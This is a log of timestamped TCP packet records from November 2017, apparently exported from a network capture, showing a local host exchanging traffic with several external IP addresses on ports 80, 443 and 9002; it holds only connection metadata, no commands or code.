Nov 27, 2017 12:35:54.550373077 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:54.742011070 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:54.771449089 CET	443	49171	154.35.175.225	192.168.1.91
Nov 27, 2017 12:35:54.971671104 CET	443	49171	154.35.175.225	192.168.1.91
Nov 27, 2017 12:35:54.971899033 CET	49171	443	192.168.1.91	154.35.175.225
Nov 27, 2017 12:35:55.895632029 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:55.895790100 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:56.830167055 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:56.830190897 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:56.833389997 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:56.833421946 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:56.834104061 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:56.834129095 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:56.883698940 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:57.085633993 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:58.815642118 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:58.815767050 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:59.947043896 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:59.947112083 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.947720051 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:59.947741032 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:59.948118925 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:59.948142052 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.948235035 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:59.948250055 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:59.948810101 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:59.948827028 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.948837042 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.948843002 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.948848963 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.948854923 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.948860884 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.948867083 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.948873043 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.948878050 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.948884010 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.948971987 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:59.948990107 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.948997974 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.949003935 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.949009895 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.949016094 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.949028015 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.949033976 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.949039936 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.949044943 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.949050903 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.949064016 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.949369907 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:59.949462891 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:59.949479103 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.949487925 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.949493885 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.949500084 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.949505091 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.949510098 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.949517965 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.949523926 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.949528933 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.949534893 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.949539900 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.949673891 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:59.950277090 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:59.950300932 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.950310946 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.950318098 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.950324059 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.950330019 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.950339079 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.950344086 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.950350046 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.950357914 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.950364113 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.950368881 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.950375080 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.953151941 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:59.953183889 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.953196049 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.953202009 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.953207970 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.953213930 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.953219891 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.953226089 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.953231096 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.953237057 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.953243017 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.953248978 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.953265905 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.955506086 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:59.955530882 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.955540895 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.955547094 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.955553055 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.955559015 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.955564022 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.955569983 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.955575943 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.955581903 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.955586910 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.955593109 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.955605030 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.955679893 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.959758997 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:59.959800959 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.959814072 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.959821939 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.959830046 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.959837914 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.959845066 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.959852934 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.959860086 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.959878922 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.959884882 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.959888935 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.959892988 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.959896088 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.960695028 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:59.960716963 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.960725069 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.960731030 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.960735083 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.960740089 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.960745096 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.960750103 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.960755110 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.960758924 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.960763931 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.960768938 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.960772991 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.960777998 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.960819960 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.961302996 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:59.961319923 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.961328030 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.961333990 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.961338997 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:59.963747978 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:00.168975115 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:00.169011116 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:00.169203043 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:00.707036972 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:00.707052946 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:00.707058907 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:00.707144022 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:00.714083910 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:00.714116096 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:00.714133978 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:00.714524031 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:00.721451044 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:00.729438066 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:00.729697943 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:00.729720116 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:00.929563999 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:00.956496954 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:01.163810968 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:01.178410053 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.185436964 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.185446978 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.185779095 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:01.185805082 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.192585945 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.192610025 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.192704916 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:01.192728043 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.206669092 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.206692934 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.206870079 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:01.206922054 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.220674992 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.220700979 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.220705032 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.220786095 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:01.220807076 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.234333992 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.234365940 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.234477043 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:01.234508038 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.234970093 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.234997988 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.235084057 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:01.235112906 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.249490976 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.249524117 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.249706030 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:01.249744892 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.256428957 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.256447077 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.256561995 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:01.256583929 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.274415970 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.274446964 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.274451971 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.274595976 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:01.274617910 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.277024984 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.277045965 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.277163982 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:01.277184963 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.287297010 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.287318945 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.287429094 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:01.287457943 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.288552046 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:01.289560080 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.297998905 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.298032999 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.298151970 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:01.298173904 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.304965019 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.304986954 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.305067062 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:01.305083990 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.312571049 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.312592030 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.312704086 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:01.312724113 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.313407898 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.313429117 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.313572884 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:01.313591957 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.320993900 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.321002960 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.321722031 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:01.321739912 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.328746080 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.328763008 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.328768969 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.329179049 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:01.329209089 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.333272934 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.333297014 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.333838940 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:01.333875895 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.339848042 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.339864969 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.340163946 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:01.340189934 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:01.586143970 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:01.871617079 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:02.085691929 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:02.503638983 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:02.503787994 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:03.343624115 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:03.343744040 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:03.636782885 CET	49185	80	192.168.1.91	174.129.241.106
Nov 27, 2017 12:36:03.636821032 CET	80	49185	174.129.241.106	192.168.1.91
Nov 27, 2017 12:36:03.636904001 CET	49185	80	192.168.1.91	174.129.241.106
Nov 27, 2017 12:36:03.637212992 CET	49185	80	192.168.1.91	174.129.241.106
Nov 27, 2017 12:36:03.637232065 CET	80	49185	174.129.241.106	192.168.1.91
Nov 27, 2017 12:36:03.854702950 CET	80	49185	174.129.241.106	192.168.1.91
Nov 27, 2017 12:36:03.974225044 CET	49185	80	192.168.1.91	174.129.241.106
Nov 27, 2017 12:36:04.310988903 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:04.311144114 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.311172009 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.458950996 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.535022020 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.535749912 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.535773993 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.535885096 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.535897970 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.535983086 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.535994053 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.537142992 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.537158966 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.537256002 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.537266970 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.538264036 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.538280010 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.538290024 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.538307905 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.538312912 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.538326025 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.538331032 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.538337946 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.538342953 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.538348913 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.538355112 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.538506985 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.538527012 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.538547993 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.538552999 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.538559914 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.538567066 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.538573027 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.538578987 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.538583994 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.538589954 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.538603067 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.538608074 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539103985 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.539122105 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539148092 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539160013 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539167881 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539175034 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539181948 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539189100 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539195061 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539201975 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539207935 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539216042 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539222956 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539484978 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.539499998 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539637089 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.539654016 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539663076 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539668083 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539674997 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539680004 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539685965 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539691925 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539697886 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539704084 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539710045 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539716005 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539720058 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539923906 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.539936066 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.539994955 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.540004015 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540091991 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.540107012 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540115118 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540119886 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540126085 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540132046 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540138006 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540144920 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540154934 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540162086 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540168047 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540174007 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540179968 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540185928 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540374041 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.540386915 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540595055 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.540610075 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540659904 CET	80	49181	85.25.213.211	192.168.1.91
